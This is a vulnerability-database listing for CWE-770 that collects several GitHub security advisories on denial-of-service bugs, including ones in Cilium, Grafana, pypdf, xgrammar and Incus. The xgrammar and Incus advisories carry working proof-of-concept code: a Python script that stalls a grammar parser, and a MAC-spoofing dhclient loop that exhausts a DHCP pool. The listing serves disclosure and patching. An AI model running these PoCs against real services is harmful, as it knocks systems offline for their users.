CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3023 vulnerabilities reference this CWE, most recent first.
GHSA-9HV7-PGGJ-5944
Vulnerability from github – Published: 2022-05-13 01:46 – Updated: 2022-05-13 01:46libplist allows attackers to cause a denial of service (large memory allocation and crash) via vectors involving an offset size of zero.
{
"affected": [],
"aliases": [
"CVE-2017-5835"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-03-03T15:59:00Z",
"severity": "HIGH"
},
"details": "libplist allows attackers to cause a denial of service (large memory allocation and crash) via vectors involving an offset size of zero.",
"id": "GHSA-9hv7-pggj-5944",
"modified": "2022-05-13T01:46:19Z",
"published": "2022-05-13T01:46:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5835"
},
{
"type": "WEB",
"url": "https://github.com/libimobiledevice/libplist/issues/88"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/04/msg00002.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2017/01/31/6"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2017/02/02/4"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/96022"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9J5P-38C5-5684
Vulnerability from github – Published: 2025-12-09 18:30 – Updated: 2025-12-09 18:30A security issue exists within 432ES-IG3 Series A, which affects GuardLink® EtherNet/IP Interface, resulting in denial-of-service. A manual power cycle is required to recover the device.
{
"affected": [],
"aliases": [
"CVE-2025-9368"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-09T16:18:39Z",
"severity": "HIGH"
},
"details": "A security issue exists within 432ES-IG3 Series A, which affects GuardLink\u00ae EtherNet/IP Interface, resulting in denial-of-service. A manual power cycle is required to recover the device.",
"id": "GHSA-9j5p-38c5-5684",
"modified": "2025-12-09T18:30:44Z",
"published": "2025-12-09T18:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9368"
},
{
"type": "WEB",
"url": "https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1764.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-9JRH-5PWJ-WFMP
Vulnerability from github – Published: 2026-05-13 18:30 – Updated: 2026-05-13 18:30The newly introduced RecordUsage D-Bus method https://gitlab.freedesktop.org/pwithnall/malcontent/-/blob/0.14.0/libmalcontent-timer/child-timer-service.c in malcontent-timerd allows arbitrary users in the system to slowly fill up disk space in /var/lib/malcontent-timerd
{
"affected": [],
"aliases": [
"CVE-2026-44931"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-13T13:01:55Z",
"severity": "MODERATE"
},
"details": "The newly introduced RecordUsage D-Bus method https://gitlab.freedesktop.org/pwithnall/malcontent/-/blob/0.14.0/libmalcontent-timer/child-timer-service.c in\nmalcontent-timerd\u00a0allows arbitrary users in the system to slowly fill up disk space\nin /var/lib/malcontent-timerd",
"id": "GHSA-9jrh-5pwj-wfmp",
"modified": "2026-05-13T18:30:52Z",
"published": "2026-05-13T18:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44931"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2026-44931"
},
{
"type": "WEB",
"url": "https://security.opensuse.org/2026/05/11/malcontent-disk-space-dos.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/05/11/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-9M5P-C77C-F9J7
Vulnerability from github – Published: 2025-01-22 18:08 – Updated: 2025-01-22 18:44Impact
In a Kubernetes cluster where Cilium is configured to proxy DNS traffic, an attacker can crash Cilium agents by sending a crafted DNS response to workloads from outside the cluster.
For traffic that is allowed but without using DNS-based policy, the dataplane will continue to pass traffic as configured at the time of the DoS. For workloads that have DNS-based policy configured, existing connections may continue to operate, and new connections made without relying on DNS resolution may continue to be established, but new connections which rely on DNS resolution may be disrupted. Any configuration changes that affect the impacted agent may not be applied until the agent is able to restart.
Patches
This issue affects:
- Cilium v1.14 between v1.14.0 and v1.14.17 inclusive
- Cilium v1.15 between v1.15.0 and v1.15.11 inclusive
- Cilium v1.16 between v1.16.0 and v1.16.4 inclusive
This issue is fixed in:
- Cilium v1.14.18
- Cilium v1.15.12
- Cilium v1.16.5
Workarounds
There are no known workarounds to this issue.
Acknowledgements
The Cilium community has worked together with members of Isovalent and the Cisco Advanced Security Initiatives Group (ASIG) to prepare these mitigations. Special thanks to @kokelley-cisco for reporting this issue and @bimmlerd for the fix.
For more information
If you have any questions or comments about this advisory, please reach out on Slack.
If you think you have found a vulnerability affecting Cilium, we strongly encourage you to report it to our security mailing list at security@cilium.io. This is a private mailing list for the Cilium security team, and your report will be treated as top priority.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/cilium/cilium"
},
"ranges": [
{
"events": [
{
"introduced": "1.14.0"
},
{
"fixed": "1.14.18"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/cilium/cilium"
},
"ranges": [
{
"events": [
{
"introduced": "1.15.0"
},
{
"fixed": "1.15.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/cilium/cilium"
},
"ranges": [
{
"events": [
{
"introduced": "1.16.0"
},
{
"fixed": "1.16.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-23028"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-01-22T18:08:13Z",
"nvd_published_at": "2025-01-22T17:15:13Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nIn a Kubernetes cluster where Cilium is configured to proxy DNS traffic, an attacker can crash Cilium agents by sending a crafted DNS response to workloads from outside the cluster.\n\nFor traffic that is allowed but without using DNS-based policy, the dataplane will continue to pass traffic as configured at the time of the DoS. For workloads that have DNS-based policy configured, existing connections may continue to operate, and new connections made without relying on DNS resolution may continue to be established, but new connections which rely on DNS resolution may be disrupted. Any configuration changes that affect the impacted agent may not be applied until the agent is able to restart.\n\n### Patches\n\nThis issue affects:\n\n- Cilium v1.14 between v1.14.0 and v1.14.17 inclusive\n- Cilium v1.15 between v1.15.0 and v1.15.11 inclusive\n- Cilium v1.16 between v1.16.0 and v1.16.4 inclusive\n\nThis issue is fixed in:\n\n- Cilium v1.14.18\n- Cilium v1.15.12\n- Cilium v1.16.5\n\n### Workarounds\n\nThere are no known workarounds to this issue.\n\n### Acknowledgements\n\nThe Cilium community has worked together with members of Isovalent and the Cisco Advanced Security Initiatives Group (ASIG) to prepare these mitigations. Special thanks to @kokelley-cisco for reporting this issue and @bimmlerd for the fix.\n\n### For more information\n\nIf you have any questions or comments about this advisory, please reach out on [Slack](https://docs.cilium.io/en/latest/community/community/#slack).\n\nIf you think you have found a vulnerability affecting Cilium, we strongly encourage you to report it to our security mailing list at [security@cilium.io](mailto:security@cilium.io). This is a private mailing list for the Cilium security team, and your report will be treated as top priority.",
"id": "GHSA-9m5p-c77c-f9j7",
"modified": "2025-01-22T18:44:35Z",
"published": "2025-01-22T18:08:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cilium/cilium/security/advisories/GHSA-9m5p-c77c-f9j7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23028"
},
{
"type": "WEB",
"url": "https://github.com/cilium/cilium/pull/36252"
},
{
"type": "WEB",
"url": "https://github.com/cilium/cilium/commit/1971bc684b6b36703ebae0dd7539c623f988a257"
},
{
"type": "WEB",
"url": "https://github.com/cilium/cilium/commit/b1948e217a4212b81175d8bf763d0ef350fcc96c"
},
{
"type": "PACKAGE",
"url": "https://github.com/cilium/cilium"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "DoS in Cilium agent DNS proxy from crafted DNS responses"
}
GHSA-9MFC-92XM-C5MF
Vulnerability from github – Published: 2026-05-13 21:32 – Updated: 2026-05-13 21:32A request to the Grafana plugin resources endpoint can cause unbounded memory allocation by reading the entire request body into memory. An authenticated user can exploit this to trigger an out-of-memory condition, potentially causing a denial of service.
{
"affected": [],
"aliases": [
"CVE-2026-28383"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-13T20:16:20Z",
"severity": "MODERATE"
},
"details": "A request to the Grafana plugin resources endpoint can cause unbounded memory allocation by reading the entire request body into memory. An authenticated user can exploit this to trigger an out-of-memory condition, potentially causing a denial of service.",
"id": "GHSA-9mfc-92xm-c5mf",
"modified": "2026-05-13T21:32:06Z",
"published": "2026-05-13T21:32:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28383"
},
{
"type": "WEB",
"url": "https://grafana.com/security/security-advisories/cve-2026-28383"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9MJV-W43G-3XJ4
Vulnerability from github – Published: 2026-05-13 21:32 – Updated: 2026-05-13 21:32The Grafana Live push endpoint can be exploited to cause unbounded memory allocation by sending a large or streaming request body, potentially leading to out-of-memory conditions. An authenticated user with access to the Grafana Live API can trigger this issue.
{
"affected": [],
"aliases": [
"CVE-2026-28376"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-13T20:16:19Z",
"severity": "MODERATE"
},
"details": "The Grafana Live push endpoint can be exploited to cause unbounded memory allocation by sending a large or streaming request body, potentially leading to out-of-memory conditions. An authenticated user with access to the Grafana Live API can trigger this issue.",
"id": "GHSA-9mjv-w43g-3xj4",
"modified": "2026-05-13T21:32:06Z",
"published": "2026-05-13T21:32:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28376"
},
{
"type": "WEB",
"url": "https://grafana.com/security/security-advisories/cve-2026-28376"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9MQ4-VWGF-J98G
Vulnerability from github – Published: 2026-01-15 18:31 – Updated: 2026-01-15 18:31RDP Manager 4.9.9.3 contains a denial of service vulnerability in connection input fields that allows local attackers to crash the application. Attackers can add oversized entries in Verbindungsname and Server fields to permanently freeze and crash the software, potentially requiring full reinstallation.
{
"affected": [],
"aliases": [
"CVE-2021-47771"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-15T16:16:08Z",
"severity": "MODERATE"
},
"details": "RDP Manager 4.9.9.3 contains a denial of service vulnerability in connection input fields that allows local attackers to crash the application. Attackers can add oversized entries in Verbindungsname and Server fields to permanently freeze and crash the software, potentially requiring full reinstallation.",
"id": "GHSA-9mq4-vwgf-j98g",
"modified": "2026-01-15T18:31:31Z",
"published": "2026-01-15T18:31:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47771"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20210613025240/https://www.cinspiration.de/download.html"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/50484"
},
{
"type": "WEB",
"url": "https://www.vulnerability-lab.com/get_content.php?id=2309"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-9MVC-8737-8J8H
Vulnerability from github – Published: 2026-02-18 22:41 – Updated: 2026-02-23 22:21Impact
An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires a malformed /FlateDecode stream, where the byte-by-byte decompression is used.
Patches
This has been fixed in pypdf==6.7.1.
Workarounds
If you cannot upgrade yet, consider applying the changes from PR #3644.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pypdf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.7.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27026"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-18T22:41:24Z",
"nvd_published_at": "2026-02-20T22:16:29Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires a malformed `/FlateDecode` stream, where the byte-by-byte decompression is used.\n\n### Patches\n\nThis has been fixed in [pypdf==6.7.1](https://github.com/py-pdf/pypdf/releases/tag/6.7.1).\n\n### Workarounds\n\nIf you cannot upgrade yet, consider applying the changes from PR [#3644](https://github.com/py-pdf/pypdf/pull/3644).",
"id": "GHSA-9mvc-8737-8j8h",
"modified": "2026-02-23T22:21:03Z",
"published": "2026-02-18T22:41:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-9mvc-8737-8j8h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27026"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/pull/3644"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/commit/7905842d833f899f1d3228af7e7467ad80277016"
},
{
"type": "PACKAGE",
"url": "https://github.com/py-pdf/pypdf"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/releases/tag/6.7.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "pypdf possibly has long runtimes for malformed FlateDecode streams"
}
GHSA-9Q5R-WFVF-RR7F
Vulnerability from github – Published: 2025-09-05 21:10 – Updated: 2025-09-10 20:51Summary
Provided grammar, would fit in a context window of most of the models, but takes minutes to process in 0.1.23. In testing with 0.1.16 the parser worked fine so this seems to be a regression caused by Earley parser.
Details
Full reproducer provider in the POC section. The resulting grammar is around 70k tokens, and the grammar parsing itself (with the models I checked) was significantly longer than LLM processing itself, meaning this can be used to DOS model providers.
Patch
This problem is caused by the grammar optimizer introduced in v0.1.23 being too slow. It only happens for very large grammars (>100k characters), like the below one. v0.1.24 solved this problem by optimizing the speed of the grammar optimizer and disable some slow optimization for large grammars.
Thanks to @Seven-Streams
PoC
import string
import random
def enum_schema(size=10000,str_len=10):
enum = {"enum": ["".join(random.choices(string.ascii_uppercase, k=str_len)) for _ in range(size)]}
schema = {
"definitions": {
"colorEnum": enum
},
"type": "object",
"properties": {
"color1": {
"$ref": "#/definitions/colorEnum"
},
"color2": {
"$ref": "#/definitions/colorEnum"
},
"color3": {
"$ref": "#/definitions/colorEnum"
},
"color4": {
"$ref": "#/definitions/colorEnum"
},
"color5": {
"$ref": "#/definitions/colorEnum"
},
"color6": {
"$ref": "#/definitions/colorEnum"
},
"color7": {
"$ref": "#/definitions/colorEnum"
},
"color8": {
"$ref": "#/definitions/colorEnum"
}
},
"required": [
"color1",
"color2"
]
}
return schema
schema_enum = enum_schema()
print(schema_enum)
print(test_schema(schema_enum, {}))
where:
def test_schema(schema, instance):
grammar = xgr.Grammar.from_json_schema(
json.dumps(schema),
strict_mode=True
)
return _is_grammar_accept_string(grammar, json.dumps(instance))
Impact
DOS
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "xgrammar"
},
"ranges": [
{
"events": [
{
"introduced": "0.1.23"
},
{
"fixed": "0.1.24"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.1.23"
]
}
],
"aliases": [
"CVE-2025-58446"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-05T21:10:06Z",
"nvd_published_at": "2025-09-06T19:15:38Z",
"severity": "MODERATE"
},
"details": "### Summary\nProvided grammar, would fit in a context window of most of the models, but takes minutes to process in 0.1.23. In testing with 0.1.16 the parser worked fine so this seems to be a regression caused by Earley parser.\n\n### Details\n\nFull reproducer provider in the POC section. The resulting grammar is around 70k tokens, and the grammar parsing itself (with the models I checked) was significantly longer than LLM processing itself, meaning this can be used to DOS model providers.\n\n### Patch\n\nThis problem is caused by the grammar optimizer introduced in v0.1.23 being too slow. It only happens for very large grammars (\u003e100k characters), like the below one. v0.1.24 solved this problem by optimizing the speed of the grammar optimizer and disable some slow optimization for large grammars. \n\nThanks to @Seven-Streams \n\n### PoC\n```\nimport string\nimport random\n\ndef enum_schema(size=10000,str_len=10):\n enum = {\"enum\": [\"\".join(random.choices(string.ascii_uppercase, k=str_len)) for _ in range(size)]}\n schema = {\n \"definitions\": {\n \"colorEnum\": enum\n },\n \"type\": \"object\",\n \"properties\": {\n \"color1\": {\n \"$ref\": \"#/definitions/colorEnum\"\n },\n \"color2\": {\n \"$ref\": \"#/definitions/colorEnum\"\n },\n \"color3\": {\n \"$ref\": \"#/definitions/colorEnum\"\n },\n \"color4\": {\n \"$ref\": \"#/definitions/colorEnum\"\n },\n \"color5\": {\n \"$ref\": \"#/definitions/colorEnum\"\n },\n \"color6\": {\n \"$ref\": \"#/definitions/colorEnum\"\n },\n \"color7\": {\n \"$ref\": \"#/definitions/colorEnum\"\n },\n \"color8\": {\n \"$ref\": \"#/definitions/colorEnum\"\n }\n },\n \"required\": [\n \"color1\",\n \"color2\"\n ]\n }\n return schema\n\nschema_enum = enum_schema()\nprint(schema_enum)\nprint(test_schema(schema_enum, {}))\n```\n\nwhere:\n```\ndef test_schema(schema, instance):\n grammar = xgr.Grammar.from_json_schema(\n json.dumps(schema),\n strict_mode=True\n )\n return _is_grammar_accept_string(grammar, json.dumps(instance))\n```\n\n### Impact\nDOS",
"id": "GHSA-9q5r-wfvf-rr7f",
"modified": "2025-09-10T20:51:27Z",
"published": "2025-09-05T21:10:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-9q5r-wfvf-rr7f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58446"
},
{
"type": "WEB",
"url": "https://github.com/mlc-ai/xgrammar/commit/ced69c3ad2f8f61b516cc278a342e7c644383e27"
},
{
"type": "PACKAGE",
"url": "https://github.com/mlc-ai/xgrammar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "xgrammar vulnerable to denial of service by huge enum grammar"
}
GHSA-9Q7C-QMHM-JV86
Vulnerability from github – Published: 2025-06-26 21:11 – Updated: 2026-03-30 13:54Summary
When using an ACL on a device connected to a bridge, Incus generates nftables rules for local services (DHCP, DNS...) that partially bypass security options security.mac_filtering, security.ipv4_filtering and security.ipv6_filtering. This can lead to DHCP pool exhaustion and opens the door for other attacks.
Details
In commit a7c33301738aede3c035063e973b1d885d9bac7c, the following rules are added at the top of the bridge input chain:
iifname "{{.hostName}}" ether type ip ip saddr 0.0.0.0 ip daddr 255.255.255.255 udp dport 67 accept
iifname "{{.hostName}}" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::1:2 udp dport 547 accept
iifname "{{.hostName}}" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::2 icmpv6 type 133 accept
However, these rules accept packets that should be filtered and maybe dropped by later rules in the "MAC filtering" snippet:
iifname "{{.hostName}}" ether type arp arp saddr ether != {{.hwAddr}} drop
iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop
Therefore, the MAC filtering is ineffective on those new rules. This allows an attacker to request as many IP as they want by sending a lot of DHCP requests with different MAC addresses. Doing so, they can exhaust the DHCP pool, resulting in a DoS of the bridge's network.
Additionaly, the commit adds non-restricted access to the local dnsmasq DNS server:
{{ if .dnsIPv4 }}
{{ range .dnsIPv4 }}
iifname "{{$.hostName}}" ip daddr "{{.}}" tcp dport 53 accept
iifname "{{$.hostName}}" ip daddr "{{.}}" udp dport 53 accept
{{ end }}
{{ end }}
{{ if .dnsIPv6 }}
{{ range .dnsIPv6 }}
iifname "{{$.hostName}}" ip6 daddr "{{.}}" tcp dport 53 accept
iifname "{{$.hostName}}" ip6 daddr "{{.}}" udp dport 53 accept
{{ end }}
{{ end }}
An attacker can send DNS requests with arbitrary MAC and IP addresses as well. These rules should also be after the MAC/IPv4/IPv6 filtering.
PoC
With this terraform infrastructure:
resource "incus_network_acl" "acl_allow_out" {
name = "acl-allow-out"
egress = [
{
action = "allow"
destination = "0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254"
state = "enabled"
},
]
}
resource "incus_network_acl" "acl_allow_in" {
name = "acl-allow-in"
ingress = [
{
action = "allow"
state = "enabled"
},
]
}
resource "incus_network" "br0" {
name = "br0"
config = {
"ipv4.address" = "10.0.0.1/24"
"ipv4.nat" = "true"
}
}
resource "incus_instance" "machine1" {
name = "machine1"
image = "images:archlinux/cloud"
type = "virtual-machine"
config = {
"limits.memory" = "2GiB"
"security.secureboot" = false
"boot.autostart" = false
"cloud-init.vendor-data" = <<-EOF
#cloud-config
package_update: true
packages:
- dhclient
- tcpdump
runcmd:
- systemctl disable --now systemd.networkd.service
- systemctl disable --now systemd.networkd.socket
EOF
}
device {
type = "disk"
name = "root"
properties = {
pool = "default"
path = "/"
size = "64GiB"
}
}
device {
type = "nic"
name = "eth0"
properties = {
network = incus_network.br0.name
"security.ipv4_filtering" = true
"security.acls" = join(",",
[
incus_network_acl.acl_allow_out.name,
incus_network_acl.acl_allow_in.name,
])
}
}
}
resource "incus_instance" "machine2" {
name = "machine2"
image = "images:archlinux/cloud"
type = "virtual-machine"
config = {
"limits.memory" = "2GiB"
"security.secureboot" = false
"boot.autostart" = false
}
device {
type = "disk"
name = "root"
properties = {
pool = "default"
path = "/"
size = "64GiB"
}
}
device {
type = "nic"
name = "eth0"
properties = {
network = incus_network.br0.name
}
}
}
An attacker in a VM requests many IP addresses and exhaust the pool:
[MACHINE1]$ for i in {0..99}; do for j in {0..99}; do ip link set address 10:66:6a:42:${i}:${j} dev enp5s0 ; dhclient -4 -i --no-pid ; done ; done
[HOST]$ cat /var/lib/incus/networks/br0/dnsmasq.leases |wc -l
254
[HOST]$ incus start machine2
At this point, machine2 will not receive a lease from dnsmasq until another lease expires. If machine1 renews their malicious leases, machine2 will never get a lease.
Impact
All versions since a7c33301738aede3c035063e973b1d885d9bac7c, so basically v6.12 and v6.13.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.13.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/lxc/incus/v6"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.14.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-52889"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-26T21:11:09Z",
"nvd_published_at": "2025-06-25T17:15:39Z",
"severity": "LOW"
},
"details": "### Summary\n\nWhen using an ACL on a device connected to a bridge, Incus generates nftables rules for local services (DHCP, DNS...) that partially bypass security options `security.mac_filtering`, `security.ipv4_filtering` and `security.ipv6_filtering`. This can lead to DHCP pool exhaustion and opens the door for other attacks.\n\n### Details\n\nIn commit a7c33301738aede3c035063e973b1d885d9bac7c, the following rules are added at the top of the bridge input chain:\n\n\tiifname \"{{.hostName}}\" ether type ip ip saddr 0.0.0.0 ip daddr 255.255.255.255 udp dport 67 accept\n\tiifname \"{{.hostName}}\" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::1:2 udp dport 547 accept\n\tiifname \"{{.hostName}}\" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::2 icmpv6 type 133 accept\n\nHowever, these rules accept packets that should be filtered and maybe dropped by later rules in the \"MAC filtering\" snippet:\n\n\tiifname \"{{.hostName}}\" ether type arp arp saddr ether != {{.hwAddr}} drop\n\tiifname \"{{.hostName}}\" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop\n\nTherefore, the MAC filtering is ineffective on those new rules. This allows an attacker to request as many IP as they want by sending a lot of DHCP requests with different MAC addresses. Doing so, they can exhaust the DHCP pool, resulting in a DoS of the bridge\u0027s network.\n\nAdditionaly, the commit adds non-restricted access to the local dnsmasq DNS server:\n\n\t{{ if .dnsIPv4 }}\n\t{{ range .dnsIPv4 }}\n\tiifname \"{{$.hostName}}\" ip daddr \"{{.}}\" tcp dport 53 accept\n\tiifname \"{{$.hostName}}\" ip daddr \"{{.}}\" udp dport 53 accept\n\t{{ end }}\n\t{{ end }}\n\n\t{{ if .dnsIPv6 }}\n\t{{ range .dnsIPv6 }}\n\tiifname \"{{$.hostName}}\" ip6 daddr \"{{.}}\" tcp dport 53 accept\n\tiifname \"{{$.hostName}}\" ip6 daddr \"{{.}}\" udp dport 53 accept\n\t{{ end }}\n\t{{ end }}\n\nAn attacker can send DNS requests with arbitrary MAC and IP addresses as well. These rules should also be after the MAC/IPv4/IPv6 filtering.\n\n### PoC\n\nWith this terraform infrastructure:\n\n```\nresource \"incus_network_acl\" \"acl_allow_out\" {\n name = \"acl-allow-out\"\n egress = [\n {\n action = \"allow\"\n destination = \"0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254\"\n state = \"enabled\"\n },\n ]\n}\nresource \"incus_network_acl\" \"acl_allow_in\" {\n name = \"acl-allow-in\"\n ingress = [\n {\n action = \"allow\"\n state = \"enabled\"\n },\n ]\n}\n\nresource \"incus_network\" \"br0\" {\n name = \"br0\"\n config = {\n \"ipv4.address\" = \"10.0.0.1/24\"\n \"ipv4.nat\" = \"true\"\n }\n}\n\nresource \"incus_instance\" \"machine1\" {\n name = \"machine1\"\n image = \"images:archlinux/cloud\"\n type = \"virtual-machine\"\n config = {\n \"limits.memory\" = \"2GiB\"\n \"security.secureboot\" = false\n \"boot.autostart\" = false\n \"cloud-init.vendor-data\" = \u003c\u003c-EOF\n #cloud-config\n package_update: true\n packages:\n - dhclient\n - tcpdump\n runcmd:\n - systemctl disable --now systemd.networkd.service\n - systemctl disable --now systemd.networkd.socket\n EOF\n }\n device {\n type = \"disk\"\n name = \"root\"\n properties = {\n pool = \"default\"\n path = \"/\"\n size = \"64GiB\"\n }\n }\n device {\n type = \"nic\"\n name = \"eth0\"\n properties = {\n network = incus_network.br0.name\n \"security.ipv4_filtering\" = true\n \"security.acls\" = join(\",\",\n [\n incus_network_acl.acl_allow_out.name,\n incus_network_acl.acl_allow_in.name,\n ])\n }\n }\n}\n\nresource \"incus_instance\" \"machine2\" {\n name = \"machine2\"\n image = \"images:archlinux/cloud\"\n type = \"virtual-machine\"\n config = {\n \"limits.memory\" = \"2GiB\"\n \"security.secureboot\" = false\n \"boot.autostart\" = false\n }\n device {\n type = \"disk\"\n name = \"root\"\n properties = {\n pool = \"default\"\n path = \"/\"\n size = \"64GiB\"\n }\n }\n device {\n type = \"nic\"\n name = \"eth0\"\n properties = {\n network = incus_network.br0.name\n }\n }\n}\n```\n\nAn attacker in a VM requests many IP addresses and 